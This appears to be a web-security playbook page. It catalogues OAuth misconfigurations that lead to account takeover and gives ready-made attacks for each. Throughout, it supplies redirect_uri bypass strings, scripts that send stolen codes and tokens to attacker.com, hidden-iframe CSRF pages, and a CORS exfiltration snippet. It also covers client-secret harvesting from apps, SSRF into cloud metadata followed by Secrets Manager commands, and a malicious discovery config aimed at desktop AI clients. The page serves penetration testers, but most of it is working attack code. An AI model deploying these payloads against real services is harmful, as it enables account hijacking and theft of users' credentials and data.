Skip to content

OAuth β†’ Account Takeover

From OAuth misconfiguration to complete account compromise.

Overview

OAuth β†’ redirect_uri bypass    β†’ Token theft β†’ ATO
      β†’ Missing state          β†’ CSRF login β†’ ATO
      β†’ postMessage leak       β†’ Token theft β†’ ATO
      β†’ XSS on callback        β†’ Code exfil β†’ ATO
      β†’ Pre-account creation   β†’ Account merge β†’ ATO

Chain 1: redirect_uri Manipulation β†’ Token Theft

Technique: Bypass redirect_uri validation to steal authorization code/token

Attack

# Test variations
?redirect_uri=https://attacker.com
?redirect_uri=https://legit.com/../../../attacker.com
?redirect_uri=https://legit.com@attacker.com
?redirect_uri=https://legit.com%00.attacker.com
?redirect_uri=https://lΠ΅git.com  # Cyrillic Π΅

# If open redirect exists on legit domain
?redirect_uri=https://legit.com/redirect?url=https://attacker.com

Capture Token

<!-- Attacker's callback page -->
<script>
// Capture code from URL
const code = new URLSearchParams(location.search).get('code');
if (code) {
  // Send to attacker server
  fetch('https://attacker.com/steal?code=' + code);
}

// Capture token from fragment
const token = location.hash.match(/access_token=([^&]+)/);
if (token) {
  fetch('https://attacker.com/steal?token=' + token[1]);
}
</script>

Exchange Code for Token

curl -X POST https://oauth-provider.com/token \
  -d "code=STOLEN_CODE" \
  -d "client_id=TARGET_CLIENT_ID" \
  -d "client_secret=LEAKED_SECRET" \
  -d "redirect_uri=https://legit.com/callback" \
  -d "grant_type=authorization_code"

Chain 2: Missing State β†’ CSRF Account Linking

Technique: Link attacker's OAuth identity to victim's account

Attack Flow

1. Attacker starts OAuth flow, stops at callback
2. Captures: /callback?code=ATTACKER_CODE
3. Victim clicks attacker's link with captured code
4. Victim's account linked to attacker's OAuth identity
5. Attacker logs in with OAuth β†’ access victim's account

Exploit Page

<h1>Click here for free prize!</h1>
<img src="https://target.com/oauth/callback?code=ATTACKER_CODE" style="display:none">
<!-- OR -->
<iframe src="https://target.com/oauth/callback?code=ATTACKER_CODE" style="display:none"></iframe>

Chain 3: response_mode=web_message β†’ postMessage Token Theft

Technique: OAuth sends token via postMessage, steal via XSS

Vulnerable Flow

// OAuth provider sends token via postMessage
parent.postMessage({access_token: 'SECRET'}, 'https://legit.com')

Attack (XSS on legit domain)

<!-- If XSS exists on legit.com -->
<script>
window.addEventListener('message', function(e) {
  // Steal OAuth token
  if (e.data.access_token) {
    fetch('https://attacker.com/steal?token=' + e.data.access_token);
  }
});
</script>

<!-- Open OAuth popup -->
<script>
window.open('https://oauth-provider.com/authorize?client_id=...&response_mode=web_message');
</script>

Attack (Subdomain with weak origin check)

<!-- If postMessage origin check uses indexOf() -->
<iframe src="https://legit.com" id="target"></iframe>
<script>
// Our domain: https://attacker-legit.com (contains "legit.com")
// Bypasses: e.origin.indexOf('legit.com') !== -1
</script>

Chain 4: XSS on Callback Domain β†’ Code Exfiltration

Technique: XSS anywhere on callback domain steals OAuth code via Referer

Attack

<!-- XSS payload that loads external resource -->
<img src="https://attacker.com/track.gif">

<!-- OAuth callback: /callback?code=SECRET -->
<!-- Referer header leaks: https://target.com/callback?code=SECRET -->

Direct Exfil

// XSS payload on any page of callback domain
new Image().src = 'https://attacker.com/steal?url=' + encodeURIComponent(location.href);

// If on callback page
new Image().src = 'https://attacker.com/steal?code=' + new URLSearchParams(location.search).get('code');

Chain 5: Pre-Account Takeover (Classic-Federated Merge)

Technique: Register account before victim, OAuth merge gives access

Attack Flow

1. Attacker registers classic account with victim@example.com (unverified)
2. Victim later signs up with "Login with Google" using victim@example.com
3. Insecure merge: OAuth email matches β†’ links to existing account
4. Attacker still has access via classic login

Trojan Identifier Variant

1. Attacker registers account with victim's email
2. Attacker links secondary identifier (phone, another email)
3. Victim recovers account
4. Attacker uses trojan identifier to regain access

Chain 6: Client Secret Exposure β†’ Token Forge

Technique: Leaked client_secret allows forging tokens

Find Secret

# Mobile app decompilation
strings app.apk | grep -i "client_secret"
jadx -d out app.apk
grep -r "client_secret" out/

# JavaScript bundles
grep -r "client_secret" *.js
grep -r "clientSecret" *.js

# Config files
/config.json
/.env

Forge Tokens

# Exchange any code (even your own) with stolen secret
curl -X POST https://oauth-provider.com/token \
  -d "code=ANY_VALID_CODE" \
  -d "client_id=LEAKED_ID" \
  -d "client_secret=LEAKED_SECRET" \
  -d "redirect_uri=https://legit.com/callback" \
  -d "grant_type=authorization_code"

Chain 7: SSRF β†’ Cloud Metadata β†’ OAuth Secret β†’ ATO

Technique: Chain SSRF to steal OAuth client secrets from cloud

Attack Flow

# 1. SSRF to AWS metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Use IAM credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 3. Get OAuth secrets from Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id oauth-google-client

# 4. Use stolen client_secret to forge tokens

Chain 8: CORS + Subdomain β†’ OAuth Token Theft

Technique: CORS trusts subdomains, XSS/takeover on subdomain steals tokens

Attack Flow

1. Find: Access-Control-Allow-Origin: *.target.com
2. Find XSS or takeover on any subdomain
3. Use XSS to make authenticated requests to main domain
4. Steal OAuth tokens/session data via CORS

Exploit

// From evil.target.com (subdomain you control)
fetch('https://api.target.com/oauth/token', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Chain 9: Token Audience Bypass β†’ Cross-App ATO

Technique: Token from App A accepted by App B

Attack

# 1. Get token from App A (legitimate)
access_token=TOKEN_FROM_APP_A

# 2. Use on App B (different app, same provider)
curl -H "Authorization: Bearer $access_token" \
  https://app-b.com/api/user

# Works if App B doesn't validate audience claim

Chain 10: OAuth Discovery URL β†’ Desktop RCE

Technique: Malicious OAuth discovery triggers code execution

CVE-2025-6514 Style

// Malicious .well-known/openid-configuration
{
  "authorization_endpoint": "file:/c:/windows/system32/calc.exe",
  "token_endpoint": "https://evil.com/token"
}

// Desktop clients (Claude Desktop, Cursor) may execute URI directly

Bypasses

redirect_uri Validation Bypass

# Path traversal
/../../../evil.com
/..%2f..%2f..%2fevil.com

# Subdomain confusion
evil.legit.com
legit.com.evil.com

# Parser confusion
legit.com@evil.com
evil.com#legit.com
legit.com%00.evil.com

# Unicode
lΠ΅git.com  # Cyrillic Π΅

State Parameter Bypass

# Static state
state=12345  # Always same

# Predictable state  
state=base64(user_id)

# No state validation
# Remove state parameter entirely

Quick Checklist

  • Test redirect_uri manipulation (all variants)
  • Check state parameter presence/validation
  • Look for XSS on callback domain
  • Check response_mode=web_message
  • Search for client_secret in apps/JS
  • Test pre-registration attack
  • Check token audience validation
  • Test CORS + subdomain trust

Impact Template

OAuth vulnerability enables Account Takeover:

1. [redirect_uri bypass / missing state / etc.] allows token/code theft
2. Attacker obtains victim's OAuth token
3. Full access to victim's account

Severity: Critical
CVSS: 9.3+ (Network/Low/Required/Changed/High/High)

Related: XSS to ATO | Cache Poison to XSS